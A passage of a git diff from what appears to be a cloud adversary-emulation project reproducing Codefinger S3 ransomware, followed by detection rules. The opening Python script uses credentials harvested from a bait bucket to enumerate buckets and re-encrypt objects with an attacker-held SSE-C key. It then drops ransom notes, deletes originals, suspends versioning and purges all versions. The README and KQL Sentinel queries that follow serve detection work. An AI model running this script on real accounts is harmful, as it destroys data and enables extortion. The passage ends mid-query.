secret_match: + print_err("Failed to parse IAM credentials from terraform.tfvars") + print_info(f"File content snippet: {body[:200]}") + raise SystemExit(1) + + stolen_key_id = key_id_match.group(1) + stolen_secret = secret_match.group(1) + print_ok(f"Parsed stolen credentials -- key_id: {stolen_key_id[:8]}... (redacted)") + + print_step("Step 2: Validating stolen IAM credentials (T1078.004)") + stolen_session = make_session(stolen_key_id, stolen_secret, region) + + sts = stolen_session.client("sts") + try: + identity = sts.get_caller_identity() + print_ok(f"GetCallerIdentity -> Account: {identity['Account']}, ARN: {identity['Arn']}") + print_info("CloudTrail event: GetCallerIdentity (high-fidelity attacker recon signal)") + except ClientError as exc: + print_err(f"GetCallerIdentity failed: {exc}") + raise SystemExit(1) + + op_delay(1, 4) + + s3 = stolen_session.client("s3") + try: + buckets_resp = s3.list_buckets() + bucket_names = [b["Name"] for b in buckets_resp.get("Buckets", [])] + print_ok(f"ListBuckets -> {len(bucket_names)} bucket(s) visible: {bucket_names}") + print_info("CloudTrail event: ListBuckets (Discovery:IAMUser/AnomalousBehavior trigger candidate)") + except ClientError as exc: + print_err(f"ListBuckets failed: {exc}") + + return stolen_key_id, stolen_secret, stolen_session + + +# --------------------------------------------------------------------------- +# Phase 2 -- Collection: Target S3 Object Enumeration +# T1530 +# --------------------------------------------------------------------------- + +def phase2_enumerate_objects( + stolen_session: boto3.Session, + target_bucket: str, +) -> list: + """ + Paginate ListObjectsV2, collect metadata via HeadObject, sample-read one + object per prefix to confirm data-plane access. + """ + print_phase("Phase 2 - Collection: Target S3 Object Enumeration (T1530)") + print_step(f"Enumerating all objects in s3://{target_bucket}") + + s3 = stolen_session.client("s3") + object_manifest = [] + + paginator = s3.get_paginator("list_objects_v2") + try: + for page in paginator.paginate(Bucket=target_bucket): + for obj in page.get("Contents", []): + object_manifest.append({"Key": obj["Key"], "Size": obj.get("Size", 0)}) + op_delay(0.1, 0.3) + print_ok(f"ListObjectsV2 complete -- {len(object_manifest)} object(s) discovered") + print_info("CloudTrail event: ListObjects") + except ClientError as exc: + print_err(f"ListObjectsV2 failed: {exc}") + raise SystemExit(1) + + print_step("Collecting per-object metadata via HeadObject") + for obj in object_manifest: + try: + head = s3.head_object(Bucket=target_bucket, Key=obj["Key"]) + sse = head.get("ServerSideEncryption", "none") + obj["SSE"] = sse + print_info(f" HeadObject {obj['Key']} -- size={obj['Size']} sse={sse}") + print_info(" CloudTrail event: HeadObject") + except ClientError as exc: + print_err(f"HeadObject {obj['Key']} failed: {exc}") + op_delay(1, 3) + + seen_prefixes = set() + print_step("Sampling one object per prefix to confirm data-plane read access") + for obj in object_manifest: + prefix = obj["Key"].split("/")[0] if "/" in obj["Key"] else "" + if prefix not in seen_prefixes: + seen_prefixes.add(prefix) + try: + resp = s3.get_object(Bucket=target_bucket, Key=obj["Key"]) + content_sample = resp["Body"].read(128) + print_ok(f"GetObject sample [{prefix}/] -- read {len(content_sample)} bytes -- read access confirmed") + print_info("CloudTrail event: GetObject") + except ClientError as exc: + print_err(f"GetObject sample {obj['Key']} failed: {exc}") + op_delay(1, 3) + + return object_manifest + + +# --------------------------------------------------------------------------- +# Phase 3 -- Impact: SSE-C Encryption (Simulated) +# T1486 +# --------------------------------------------------------------------------- + +def phase3_ssec_encrypt( + stolen_session: boto3.Session, + target_bucket: str, + object_manifest: list, + output_dir: str, +) -> tuple: + """ + Generate a runtime AES-256 SSE-C key, re-upload each object with that key, + then drop a ransom note in each discovered prefix. + """ + print_phase("Phase 3 - Impact: SSE-C Encryption - SIMULATED (T1486)") + print_info("SIMULATION NOTE: All data is synthetic test content generated by Pulumi.") + print_info("AES-256 SSE-C key generated at runtime. Attacker retains sole decryption capability.") + + aes_key_raw, aes_key_b64, aes_key_md5 = generate_ssec_key() + key_file_path = save_ssec_key(aes_key_raw, output_dir) + print_ok(f"Generated AES-256 SSE-C key -> saved to {key_file_path}") + print_info(f"Key MD5 (CloudTrail-visible HMAC): {aes_key_md5}") + + s3 = stolen_session.client("s3") + encrypted_keys = [] + prefixes_seen = set() + + print_step("Re-encrypting objects with attacker SSE-C key (GetObject -> PutObject with SSE-C)") + for obj in object_manifest: + key = obj["Key"] + if key.endswith("README.txt"): + continue + try: + get_resp = s3.get_object(Bucket=target_bucket, Key=key) + body = get_resp["Body"].read() + print_info(f" GetObject {key} -> {len(body)} bytes retrieved") + except ClientError as exc: + print_err(f" GetObject {key} failed: {exc}") + continue + + op_delay(0.5, 1.5) + + try: + s3.put_object( + Bucket=target_bucket, + Key=key, + Body=body, + SSECustomerAlgorithm="AES256", + SSECustomerKey=aes_key_b64, + SSECustomerKeyMD5=aes_key_md5, + ) + encrypted_keys.append(key) + prefix = key.split("/")[0] if "/" in key else "" + prefixes_seen.add(prefix) + print_ok(f" PutObject (SSE-C) {key} -- plaintext replaced with attacker-encrypted copy") + print_info(" CloudTrail event: PutObject with x-amz-server-side-encryption-customer-algorithm header") + except ClientError as exc: + print_err(f" PutObject (SSE-C) {key} failed: {exc}") + + op_delay(1, 3) + + ransom_body = ( + "Your files have been encrypted with a key only we possess. " + "Send payment to [Bitcoin address] within 7 days or your data will be permanently deleted. " + "Contact: codefinger@proton.me" + ) + print_step(f"Dropping ransom notes in {len(prefixes_seen)} prefix(es): {prefixes_seen}") + for prefix in prefixes_seen: + ransom_key = f"{prefix}/README.txt" if prefix else "README.txt" + try: + s3.put_object( + Bucket=target_bucket, + Key=ransom_key, + Body=ransom_body.encode("utf-8"), + ContentType="text/plain", + ) + print_ok(f" PutObject ransom note -> s3://{target_bucket}/{ransom_key}") + print_info(" CloudTrail event: PutObject (README.txt IOC)") + except ClientError as exc: + print_err(f" PutObject ransom note {ransom_key} failed: {exc}") + op_delay(1, 2) + + return aes_key_raw, aes_key_b64, aes_key_md5, key_file_path + + +# --------------------------------------------------------------------------- +# Phase 4 -- Impact: Data Destruction (Simulated) +# T1485 +# --------------------------------------------------------------------------- + +def phase4_data_destruction( + stolen_session: boto3.Session, + target_bucket: str, + object_manifest: list, +) -> None: + """ + DeleteObject on each original key, then apply 1-day lifecycle expiry rule + and immediately remove it after CloudTrail capture. + """ + print_phase("Phase 4 - Impact: Data Destruction - SIMULATED (T1485)") + print_info("SIMULATION NOTE: Lifecycle rule applied then immediately removed to prevent actual auto-deletion.") + + s3 = stolen_session.client("s3") + + print_step("Deleting original object references (plaintext copies now SSE-C overwritten)") + for obj in object_manifest: + key = obj["Key"] + if key.endswith("README.txt"): + continue + try: + s3.delete_object(Bucket=target_bucket, Key=key) + print_ok(f" DeleteObject {key} -- original remove marker placed") + print_info(" CloudTrail event: DeleteObject") + except ClientError as exc: + print_err(f" DeleteObject {key} failed: {exc}") + op_delay(1, 3) + + op_delay(2, 5) + + print_step("Applying 1-day lifecycle auto-delete rule (T1485 -- simulating Codefinger 7-day TTL)") + lifecycle_config = { + "Rules": [ + { + "ID": "codefinger-auto-delete", + "Status": "Enabled", + "Filter": {"Prefix": ""}, + "Expiration": {"Days": 1}, + } + ] + } + try: + s3.put_bucket_lifecycle_configuration( + Bucket=target_bucket, + LifecycleConfiguration=lifecycle_config, + ) + print_ok("PutBucketLifecycleConfiguration -- 1-day expiry rule applied") + print_info("CloudTrail event: PutBucketLifecycleConfiguration (high-signal control-plane change)") + print_info("IOC: rule ID 'codefinger-auto-delete' matches known threat actor naming") + except ClientError as exc: + print_err(f"PutBucketLifecycleConfiguration failed: {exc}") + + op_delay(2, 4) + + print_step("Removing lifecycle rule immediately after CloudTrail capture (safe emulation)") + try: + s3.delete_bucket_lifecycle(Bucket=target_bucket) + print_ok("DeleteBucketLifecycle -- rule removed; test data protected from automated deletion") + print_info("CloudTrail event: DeleteBucketLifecycle") + except ClientError as exc: + print_err(f"DeleteBucketLifecycle failed: {exc}") + + +# --------------------------------------------------------------------------- +# Phase 5 -- Impact: Inhibit System Recovery +# T1490 +# --------------------------------------------------------------------------- + +def phase5_inhibit_recovery( + stolen_session: boto3.Session, + target_bucket: str, +) -> None: + """ + Suspend S3 versioning, then bulk-delete all object versions and delete markers + to foreclose version-rollback as an incident response path. + """ + print_phase("Phase 5 - Impact: Inhibit System Recovery (T1490)") + print_info("Suspending S3 versioning and purging all version history -- eliminates rollback path.") + + s3 = stolen_session.client("s3") + + print_step("Reading current bucket versioning state") + try: + versioning_resp = s3.get_bucket_versioning(Bucket=target_bucket) + current_status = versioning_resp.get("Status", "Not set") + print_ok(f"GetBucketVersioning -> current status: {current_status}") + except ClientError as exc: + print_err(f"GetBucketVersioning failed: {exc}") + + op_delay(2, 6) + + print_step("Suspending S3 versioning (PutBucketVersioning Status=Suspended)") + try: + s3.put_bucket_versioning( + Bucket=target_bucket, + VersioningConfiguration={"Status": "Suspended"}, + ) + print_ok("PutBucketVersioning -> Status=Suspended") + print_info("CloudTrail event: PutBucketVersioning (critical high-fidelity detection signal)") + print_info("Security Hub S3.14 control: versioning disabled alert") + except ClientError as exc: + print_err(f"PutBucketVersioning suspend failed: {exc}") + + op_delay(2, 5) + + print_step("Paginating ListObjectVersions to collect all version IDs and delete markers") + all_versions = [] + try: + paginator = s3.get_paginator("list_object_versions") + for page in paginator.paginate(Bucket=target_bucket): + for v in page.get("Versions", []): + all_versions.append({"Key": v["Key"], "VersionId": v["VersionId"]}) + for dm in page.get("DeleteMarkers", []): + all_versions.append({"Key": dm["Key"], "VersionId": dm["VersionId"]}) + op_delay(0.2, 0.5) + print_ok(f"ListObjectVersions -> {len(all_versions)} version entries (versions + delete markers)") + print_info("CloudTrail event: ListObjectVersions") + except ClientError as exc: + print_err(f"ListObjectVersions failed: {exc}") + + if not all_versions: + print_info("No version entries found -- bucket may have been unversioned. Skipping bulk delete.") + return + + print_step(f"Bulk-deleting {len(all_versions)} version entries via DeleteObjects (batches of 1000)") + batch_size = 1000 + for i in range(0, len(all_versions), batch_size): + batch = all_versions[i : i + batch_size] + try: + delete_resp = s3.delete_objects( + Bucket=target_bucket, + Delete={"Objects": batch, "Quiet": True}, + ) + errors = delete_resp.get("Errors", []) + deleted_count = len(batch) - len(errors) + print_ok(f" DeleteObjects batch {i//batch_size + 1}: {deleted_count}/{len(batch)} deleted") + if errors: + for err in errors[:5]: + print_err(f" DeleteObjects error: {err['Key']} [{err['Code']}] {err['Message']}") + print_info(" CloudTrail event: DeleteObjectVersion (eliminates all restore points)") + except ClientError as exc: + print_err(f" DeleteObjects batch {i//batch_size + 1} failed: {exc}") + op_delay(1, 3) + + print_ok("Phase 5 complete -- versioning suspended and all version history purged") + print_info("IOC: PutBucketVersioning + bulk DeleteObjectVersion immediately after SSE-C PutObject activity") + print_info("Complete Codefinger kill chain signature generated in single IAM session") + + +# --------------------------------------------------------------------------- +# Summary +# --------------------------------------------------------------------------- + +def print_summary(target_bucket: str, object_manifest: list, key_file_path: str) -> None: + print_phase("Attack Chain Summary") + print_info("CloudTrail events generated:") + print_info(" Phase 1 (T1078.004 / T1552.001):") + print_info(" - GetObject [bait bucket, anonymous, no signature]") + print_info(" - GetCallerIdentity [stolen IAM key -- recon signal]") + print_info(" - ListBuckets [stolen IAM key]") + print_info(" Phase 2 (T1530):") + print_info(" - ListObjects [target bucket]") + print_info(" - HeadObject [per object]") + print_info(" - GetObject [sample per prefix]") + print_info(" Phase 3 (T1486 - SIMULATED):") + print_info(" - GetObject [per synthetic object -- retrieve plaintext]") + print_info(" - PutObject (SSE-C) [per synthetic object -- attacker-encrypted re-upload]") + print_info(" - PutObject [README.txt ransom notes per prefix]") + print_info(" Phase 4 (T1485 - SIMULATED):") + print_info(" - DeleteObject [per original key]") + print_info(" - PutBucketLifecycleConfiguration [codefinger-auto-delete 1-day rule]") + print_info(" - DeleteBucketLifecycle [immediately removed -- test data protected]") + print_info(" Phase 5 (T1490):") + print_info(" - GetBucketVersioning") + print_info(" - PutBucketVersioning [Suspended -- critical detection signal]") + print_info(" - ListObjectVersions") + print_info(" - DeleteObjects [bulk version purge]") + print() + print_info(f"Target bucket: {target_bucket}") + print_info(f"Objects encrypted: {len([o for o in object_manifest if not o['Key'].endswith('README.txt')])}") + print_info(f"SSE-C key saved to: {key_file_path}") + + +# --------------------------------------------------------------------------- +# Backend entry point +# --------------------------------------------------------------------------- + +def run(outputs: dict, region: str = "us-east-1") -> None: + """MayaTrail backend entry point. `outputs` is the Pulumi stack output dict.""" + output_dir = tempfile.gettempdir() + + bait_bucket_name = outputs.get("bait_bucket_name", "") or os.environ.get("BAIT_BUCKET_NAME", "") + target_bucket_name= outputs.get("target_bucket_name", "") or os.environ.get("TARGET_BUCKET_NAME", "") + # region comes from the backend-provided parameter; fall back to infra export + region = region or outputs.get("aws_region", "us-east-1") or os.environ.get("AWS_DEFAULT_REGION", "us-east-1") + + print_info(f"bait_bucket_name: {bait_bucket_name or '(not resolved)'}") + print_info(f"target_bucket_name: {target_bucket_name}") + print_info(f"region: {region}") + + if not bait_bucket_name: + print_err("BAIT_BUCKET_NAME not resolved from outputs or environment.") + raise SystemExit(1) + if not target_bucket_name: + print_err("target_bucket_name not resolved from outputs or environment.") + raise SystemExit(1) + + stolen_key_id, stolen_secret, stolen_session = phase1_credential_harvest( + bait_bucket_name=bait_bucket_name, + region=region, + ) + + phase_delay() + + object_manifest = phase2_enumerate_objects( + stolen_session=stolen_session, + target_bucket=target_bucket_name, + ) + + if not object_manifest: + print_err("Object manifest is empty -- no objects found in target bucket. Aborting.") + raise SystemExit(1) + + phase_delay() + + aes_key_raw, aes_key_b64, aes_key_md5, key_file_path = phase3_ssec_encrypt( + stolen_session=stolen_session, + target_bucket=target_bucket_name, + object_manifest=object_manifest, + output_dir=output_dir, + ) + + phase_delay() + + phase4_data_destruction( + stolen_session=stolen_session, + target_bucket=target_bucket_name, + object_manifest=object_manifest, + ) + + phase_delay() + + phase5_inhibit_recovery( + stolen_session=stolen_session, + target_bucket=target_bucket_name, + ) + + print_summary(target_bucket_name, object_manifest, key_file_path) + + +if __name__ == "__main__": + import json + _outputs = json.loads(sys.argv[1]) if len(sys.argv) > 1 else {} + _region = sys.argv[2] if len(sys.argv) > 2 else "us-east-1" + run(_outputs, _region) diff --git a/emulations/codefinger/detections/README.md b/emulations/codefinger/detections/README.md new file mode 100644 index 0000000..853ea86 --- /dev/null +++ b/emulations/codefinger/detections/README.md @@ -0,0 +1,36 @@ +# Codefinger Detection Package + +Platform: AWS CloudTrail +Generated: 2026-05-13 +SIEM target: Microsoft Sentinel (AWSCloudTrail table) + +All techniques are control_plane and produce CloudTrail audit events. + +## Files + +| Technique | SIGMA | KQL | Level | +|---|---|---|---| +| T1078.004 Valid Accounts: Cloud Accounts | sigma_t1078.004.yml | kql_t1078.004.kql | High | +| T1530 Data from Cloud Storage | sigma_t1530.yml | kql_t1530.kql | Medium | +| T1486 Data Encrypted for Impact | sigma_t1486.yml | kql_t1486.kql | High | +| T1485 Data Destruction | sigma_t1485.yml | kql_t1485.kql | High/Critical | +| T1490 Inhibit System Recovery | sigma_t1490.yml | kql_t1490.kql | Critical | + +## Kill Chain Correlation + +The highest-fidelity detection is the **full kill chain sequence** in `kql_t1490.kql` Query 4: +- SSE-C PutObject (T1486) + +- PutBucketLifecycleConfiguration (T1485) + +- PutBucketVersioning Suspended (T1490) + +- DeleteObjectVersion (T1490) + +Any 3-of-4 signals from the same IAM principal within 2 hours = high-confidence Codefinger match. + +## Tuning Notes + +- Replace `svc-terraform`, `svc-cicd`, `svc-backup` filters with actual service account names. +- Adjust ListObjects burst threshold (default: >20 in 15 min) to org CloudTrail baseline. +- The lifecycle expiry parser (`ExpiryDaysInt <= 7`) requires RequestParameters to be ingested + as a string; verify your connector preserves the raw JSON body. +- GuardDuty findings complement these rules: enable S3 Protection and look for + `Impact:S3/MaliciousIPCaller.Custom` and `Discovery:S3/MaliciousIPCaller`. diff --git a/emulations/codefinger/detections/kql_t1078.004.kql b/emulations/codefinger/detections/kql_t1078.004.kql new file mode 100644 index 0000000..07f6312 --- /dev/null +++ b/emulations/codefinger/detections/kql_t1078.004.kql @@ -0,0 +1,72 @@ +// FILE: kql_t1078.004.kql +// T1078.004 Valid Accounts: Cloud Accounts - Codefinger Credential Validation + Bucket Enumeration +// Detects stolen IAM key usage: GetCallerIdentity probe followed by ListBuckets recon +// Platform: AWS CloudTrail -> Microsoft Sentinel AWSCloudTrail table + +// --- Query 1: GetCallerIdentity probe by IAM users (high-fidelity attacker signal) --- +AWSCloudTrail +| where EventName == "GetCallerIdentity" +| where EventSource == "sts.amazonaws.com" +| where UserIdentityType == "IAMUser" +// Exclude known automation service accounts +| where UserIdentityUserName !in ("svc-terraform", "svc-cicd", "svc-monitoring") +| where UserAgent !contains "aws-lambda" +| where UserAgent !contains "elasticmapreduce" +| project + TimeGenerated, + EventName, + UserIdentityUserName, + UserIdentityArn, + SourceIpAddress, + UserAgent, + AwsRegion, + ErrorCode +| sort by TimeGenerated desc + + +// --- Query 2: ListBuckets from IAM users outside expected business hours --- +AWSCloudTrail +| where EventName == "ListBuckets" +| where EventSource == "s3.amazonaws.com" +| where UserIdentityType == "IAMUser" +| where UserIdentityUserName !in ("svc-terraform", "svc-cicd", "svc-backup") +// Flag calls outside 08:00-18:00 UTC Mon-Fri (adjust to org baseline) +| extend HourOfDay = datetime_part("Hour", TimeGenerated) +| extend DayOfWeek = dayofweek(TimeGenerated) +| where HourOfDay < 8 or HourOfDay > 18 or DayOfWeek == 0d or DayOfWeek == 6d +| project + TimeGenerated, + EventName, + UserIdentityUserName, + UserIdentityArn, + SourceIpAddress, + UserAgent, + AwsRegion, + HourOfDay, + DayOfWeek +| sort by TimeGenerated desc + + +// --- Query 3: Correlated kill-chain opener - GetCallerIdentity AND ListBuckets same principal within 10 min --- +let ProbeEvents = AWSCloudTrail + | where EventName == "GetCallerIdentity" + | where EventSource == "sts.amazonaws.com" + | where UserIdentityType == "IAMUser" + | project ProbeTime = TimeGenerated, ProbePrincipal = UserIdentityArn, ProbeIP = SourceIpAddress, ProbeAgent = UserAgent; +let EnumEvents = AWSCloudTrail + | where EventName == "ListBuckets" + | where EventSource == "s3.amazonaws.com" + | where UserIdentityType == "IAMUser" + | project EnumTime = TimeGenerated, EnumPrincipal = UserIdentityArn, EnumIP = SourceIpAddress; +ProbeEvents +| join kind=inner EnumEvents on $left.ProbePrincipal == $right.EnumPrincipal +| where EnumTime > ProbeTime and EnumTime < ProbeTime + 10m +| project + ProbeTime, + EnumTime, + ProbePrincipal, + ProbeIP, + EnumIP, + ProbeAgent, + TimeDeltaSeconds = datetime_diff("second", EnumTime, ProbeTime) +| sort by ProbeTime desc diff --git a/emulations/codefinger/detections/kql_t1485.kql b/emulations/codefinger/detections/kql_t1485.kql new file mode 100644 index 0000000..7d4579f --- /dev/null +++ b/emulations/codefinger/detections/kql_t1485.kql @@ -0,0 +1,124 @@ +// FILE: kql_t1485.kql +// T1485 Data Destruction - Codefinger S3 Lifecycle TTL + Bulk DeleteObject +// Detects lifecycle policy creation with short expiry and bulk deletions post-encryption +// Platform: AWS CloudTrail -> Microsoft Sentinel AWSCloudTrail table + +// --- Query 1: PutBucketLifecycleConfiguration - any IAM user initiated --- +AWSCloudTrail +| where EventName == "PutBucketLifecycleConfiguration" +| where EventSource == "s3.amazonaws.com" +| where UserIdentityType == "IAMUser" +// Exclude known IaC service accounts that legitimately manage lifecycle policies +| where UserAgent !contains "terraform" +| where UserAgent !contains "pulumi" +| where UserAgent !contains "cloudformation" +| project + TimeGenerated, + EventName, + UserIdentityUserName, + UserIdentityArn, + SourceIpAddress, + UserAgent, + RequestParameters, + AwsRegion, + ErrorCode +| sort by TimeGenerated desc + + +// --- Query 2: Lifecycle policy with short expiry - parse expiry days from request --- +AWSCloudTrail +| where EventName == "PutBucketLifecycleConfiguration" +| where EventSource == "s3.amazonaws.com" +| where UserIdentityType == "IAMUser" +// Extract expiry days - Codefinger uses 7 days, emulation uses 1 day +| extend ExpiryDays = extract(@'"Days"\s*:\s*(\d+)', 1, RequestParameters) +| extend ExpiryDaysInt = toint(ExpiryDays) +// Flag lifecycle policies with expiry <= 7 days (ransomware pressure tactic) +| where ExpiryDaysInt <= 7 or RequestParameters contains "codefinger" +| project + TimeGenerated, + UserIdentityUserName, + UserIdentityArn, + SourceIpAddress, + ExpiryDays, + RequestParameters, + AwsRegion +| sort by TimeGenerated desc + + +// --- Query 3: Bulk DeleteObject calls from IAM users - volume anomaly --- +AWSCloudTrail +| where EventName in ("DeleteObject", "DeleteObjects") +| where EventSource == "s3.amazonaws.com" +| where UserIdentityType == "IAMUser" +// DeleteObjects (plural) can delete up to 1000 objects per API call +| summarize + DeleteCallCount = count(), + FirstDelete = min(TimeGenerated), + LastDelete = max(TimeGenerated) + by bin(TimeGenerated, 10m), UserIdentityUserName, UserIdentityArn, SourceIpAddress +| where DeleteCallCount > 5 +| extend DeleteWindowSeconds = datetime_diff("second", LastDelete, FirstDelete) +| project + WindowStart = TimeGenerated, + UserIdentityUserName, + UserIdentityArn, + SourceIpAddress, + DeleteCallCount, + FirstDelete, + LastDelete, + DeleteWindowSeconds +| sort by DeleteCallCount desc + + +// --- Query 4: SSE-C PutObject immediately followed by DeleteObject same principal --- +// The core Codefinger sequence: encrypt then delete originals +let EncryptStep = AWSCloudTrail + | where EventName == "PutObject" + | where EventSource == "s3.amazonaws.com" + | where RequestParameters contains "x-amz-server-side-encryption-customer-algorithm" + | where UserIdentityType == "IAMUser" + | summarize EncryptCount = count(), EncryptTime = min(TimeGenerated) + by UserIdentityArn, SourceIpAddress; +let DeleteStep = AWSCloudTrail + | where EventName in ("DeleteObject", "DeleteObjects") + | where EventSource == "s3.amazonaws.com" + | where UserIdentityType == "IAMUser" + | summarize DeleteCount = count(), DeleteTime = min(TimeGenerated) + by UserIdentityArn; +EncryptStep +| join kind=inner DeleteStep on UserIdentityArn +| where DeleteTime > EncryptTime and DeleteTime < EncryptTime + 60m +| project + UserIdentityArn, + SourceIpAddress, + EncryptCount, + DeleteCount, + EncryptTime, + DeleteTime, + DelayMinutes = datetime_diff("minute", DeleteTime, EncryptTime) +| sort by EncryptTime desc + + +// --- Query 5: Lifecycle + Delete combo - both actions same principal same day --- +let LifecycleEvents = AWSCloudTrail + | where EventName == "PutBucketLifecycleConfiguration" + | where EventSource == "s3.amazonaws.com" + | where UserIdentityType == "IAMUser" + | project LifecycleTime = TimeGenerated, Principal = UserIdentityArn, LifecycleIP = SourceIpAddress, LifecycleParams = RequestParameters; +let DeleteEvents = AWSCloudTrail + | where EventName in ("DeleteObject", "DeleteObjects") + | where EventSource == "s3.amazonaws.com" + | where UserIdentityType == "IAMUser" + | project DeleteTime = TimeGenerated, Principal = UserIdentityArn; +LifecycleEvents +| join kind=inner DeleteEvents on Principal +| where abs(datetime_diff("minute", DeleteTime, LifecycleTime)) < 120 +| project + Principal, + LifecycleIP, + LifecycleTime, + DeleteTime, + LifecycleParams, + ProximityMinutes = abs(datetime_diff("minute", DeleteTime, LifecycleTime)) +| sort by LifecycleTime desc diff --git a/emulations/codefinger/detections/kql_t1486.kql b/emulations/codefinger/detections/kql_t1486.kql new file mode 100644 index 0000000..9dec488 --- /dev/null +++ b/emulations/codefinger/detections/kql_t1486.kql @@ -0,0 +1,130 @@ +// FILE: kql_t1486.kql +// T1486 Data Encrypted for Impact - Codefinger SSE-C S3 Ransomware Encryption +// Detects SSE-C PutObject burst replacing plaintext objects with encrypted copies +// Platform: AWS CloudTrail -> Microsoft Sentinel AWSCloudTrail table + +// --- Query 1: SSE-C PutObject calls - any use of customer-provided encryption --- +AWSCloudTrail +| where EventName == "PutObject" +| where EventSource == "s3.amazonaws.com" +// SSE-C usage is surfaced in RequestParameters +| where RequestParameters contains "x-amz-server-side-encryption-customer-algorithm" +| where UserIdentityType != "AWSService" +| project + TimeGenerated, + EventName, + UserIdentityUserName, + UserIdentityArn, + UserIdentityType, + SourceIpAddress, + UserAgent, + RequestParameters, + AwsRegion, + ErrorCode +| sort by TimeGenerated desc + + +// --- Query 2: SSE-C PutObject burst - high-volume in-place overwrite pattern --- +AWSCloudTrail +| where EventName == "PutObject" +| where EventSource == "s3.amazonaws.com" +| where RequestParameters contains "x-amz-server-side-encryption-customer-algorithm" +| where UserIdentityType != "AWSService" +| summarize + SSECPutCount = count(), + DistinctKeys = dcount(RequestParameters), + FirstEncryption = min(TimeGenerated), + LastEncryption = max(TimeGenerated) + by bin(TimeGenerated, 15m), UserIdentityUserName, UserIdentityArn, SourceIpAddress +// Flag: >5 SSE-C puts in 15 min from same principal (tune threshold to org baseline) +| where SSECPutCount > 5 +| extend EncryptionWindowSeconds = datetime_diff("second", LastEncryption, FirstEncryption) +| project + WindowStart = TimeGenerated, + UserIdentityUserName, + UserIdentityArn, + SourceIpAddress, + SSECPutCount, + DistinctKeys, + FirstEncryption, + LastEncryption, + EncryptionWindowSeconds +| sort by SSECPutCount desc + + +// --- Query 3: In-place overwrite detection - GetObject then PutObject same key --- +// Detects the read-then-reencrypt pattern: attacker reads plaintext, writes back encrypted +let Reads = AWSCloudTrail + | where EventName == "GetObject" + | where EventSource == "s3.amazonaws.com" + | where UserIdentityType == "IAMUser" + | extend ObjectKey = tostring(parse_json(RequestParameters).key) + | project ReadTime = TimeGenerated, ReadPrincipal = UserIdentityArn, ReadKey = ObjectKey, ReadIP = SourceIpAddress; +let Writes = AWSCloudTrail + | where EventName == "PutObject" + | where EventSource == "s3.amazonaws.com" + | where RequestParameters contains "x-amz-server-side-encryption-customer-algorithm" + | extend ObjectKey = tostring(parse_json(RequestParameters).key) + | project WriteTime = TimeGenerated, WritePrincipal = UserIdentityArn, WriteKey = ObjectKey, WriteIP = SourceIpAddress; +Reads +| join kind=inner Writes on $left.ReadPrincipal == $right.WritePrincipal, $left.ReadKey == $right.WriteKey +| where WriteTime > ReadTime and WriteTime < ReadTime + 5m +| project + ReadTime, + WriteTime, + ReadPrincipal, + ReadKey, + ReadIP, + WriteIP, + OverwriteDelaySeconds = datetime_diff("second", WriteTime, ReadTime) +| sort by ReadTime desc + + +// --- Query 4: Ransom note deposition - README.txt appearing in multiple prefixes --- +AWSCloudTrail +| where EventName == "PutObject" +| where EventSource == "s3.amazonaws.com" +| where RequestParameters contains "README.txt" +| extend ObjectKey = tostring(parse_json(RequestParameters).key) +| extend Prefix = tostring(split(ObjectKey, "/")[0]) +| summarize + NoteCount = count(), + DistinctPrefixes = dcount(Prefix), + PrefixList = make_set(Prefix, 20), + FirstNote = min(TimeGenerated), + LastNote = max(TimeGenerated) + by UserIdentityUserName, UserIdentityArn, SourceIpAddress +| where DistinctPrefixes >= 2 +| project + UserIdentityUserName, + UserIdentityArn, + SourceIpAddress, + NoteCount, + DistinctPrefixes, + PrefixList, + FirstNote, + LastNote +| sort by DistinctPrefixes desc + + +// --- Query 5: Full encryption kill chain - recon + SSE-C writes + ransom note in one session --- +let EncryptionActivity = AWSCloudTrail + | where EventName == "PutObject" + | where EventSource == "s3.amazonaws.com" + | where RequestParameters contains "x-amz-server-side-encryption-customer-algorithm" + | summarize SSECCount = count(), EncryptStart = min(TimeGenerated) by UserIdentityArn, SourceIpAddress; +let RansomNotes = AWSCloudTrail + | where EventName == "PutObject" + | where RequestParameters contains "README.txt" + | summarize NoteCount = count(), NoteTime = min(TimeGenerated) by UserIdentityArn; +EncryptionActivity +| join kind=inner RansomNotes on UserIdentityArn +| project + UserIdentityArn, + SourceIpAddress, + SSECCount, + NoteCount, + EncryptStart, + NoteTime, + OverallWindowMinutes = datetime_diff("minute", NoteTime, EncryptStart) +| sort by EncryptStart desc diff --git a/emulations/codefinger/detections/kql_t1490.kql b/emulations/codefinger/detections/kql_t1490.kql new file mode 100644 index 0000000..7b4fc98 --- /dev/null +++ b/emulations/codefinger/detections/kql_t1490.kql @@ -0,0 +1,133 @@ +// FILE: kql_t1490.kql +// T1490 Inhibit System Recovery - Codefinger Versioning Suspension + Version Purge +// Detects versioning disabled and bulk DeleteObjectVersion to block S3 recovery +// Platform: AWS CloudTrail -> Microsoft Sentinel AWSCloudTrail table + +// --- Query 1: PutBucketVersioning transitioning to Suspended --- +AWSCloudTrail +| where EventName == "PutBucketVersioning" +| where EventSource == "s3.amazonaws.com" +// Target Suspended state (Enabled->Suspended is the attack; Enabled->MfaDelete is expected) +| where RequestParameters contains "Suspended" +| where UserIdentityType != "AWSService" +| where UserAgent !contains "terraform" +| where UserAgent !contains "pulumi" +| where UserAgent !contains "cloudformation" +| project + TimeGenerated, + EventName, + UserIdentityUserName, + UserIdentityArn, + UserIdentityType, + SourceIpAddress, + UserAgent, + RequestParameters, + AwsRegion, + ErrorCode +| sort by TimeGenerated desc + + +// --- Query 2: Bulk DeleteObjectVersion calls from IAM users --- +AWSCloudTrail +| where EventName in ("DeleteObjectVersion", "DeleteObjects") +| where EventSource == "s3.amazonaws.com" +| where UserIdentityType == "IAMUser" +// DeleteObjects with versionId set = explicit version purge +| where RequestParameters contains "versionId" +| summarize + VersionDeleteCount = count(), + FirstDelete = min(TimeGenerated), + LastDelete = max(TimeGenerated) + by bin(TimeGenerated, 10m), UserIdentityUserName, UserIdentityArn, SourceIpAddress +| where VersionDeleteCount >= 3 +| extend DeleteWindowSeconds = datetime_diff("second", LastDelete, FirstDelete) +| project + WindowStart = TimeGenerated, + UserIdentityUserName, + UserIdentityArn, + SourceIpAddress, + VersionDeleteCount, + FirstDelete, + LastDelete, + DeleteWindowSeconds +| sort by VersionDeleteCount desc + + +// --- Query 3: Versioning suspension followed by version purge same principal --- +let SuspendEvents = AWSCloudTrail + | where EventName == "PutBucketVersioning" + | where RequestParameters contains "Suspended" + | where UserIdentityType != "AWSService" + | project SuspendTime = TimeGenerated, Principal = UserIdentityArn, SuspendIP = SourceIpAddress; +let PurgeEvents = AWSCloudTrail + | where EventName in ("DeleteObjectVersion", 